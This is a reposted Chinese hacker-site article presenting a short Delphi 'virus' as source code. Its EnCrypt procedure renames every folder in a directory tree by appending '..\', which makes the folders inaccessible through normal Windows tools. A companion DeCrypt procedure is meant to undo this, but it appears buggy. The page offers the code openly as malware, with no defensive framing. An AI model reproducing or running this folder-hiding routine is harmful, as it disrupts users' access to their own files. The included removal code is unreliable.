RSS订阅 | 匿名投稿
您的位置:网站首页 > 黑客 > 正文

delphi 编写的一个感染文件夹的小病毒

作者:admin 来源: 日期:2013/1/6 9:28:25 人气: 标签:病毒

感染函数
procedure TForm1.EnCrypt(pPath:string);
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1;
for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数
procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;

出处http://bigpower.blog.51cto.com/209892/114715


读完这篇文章后,您心情如何?
0
0
0
0
0
0
0
0
本文网址: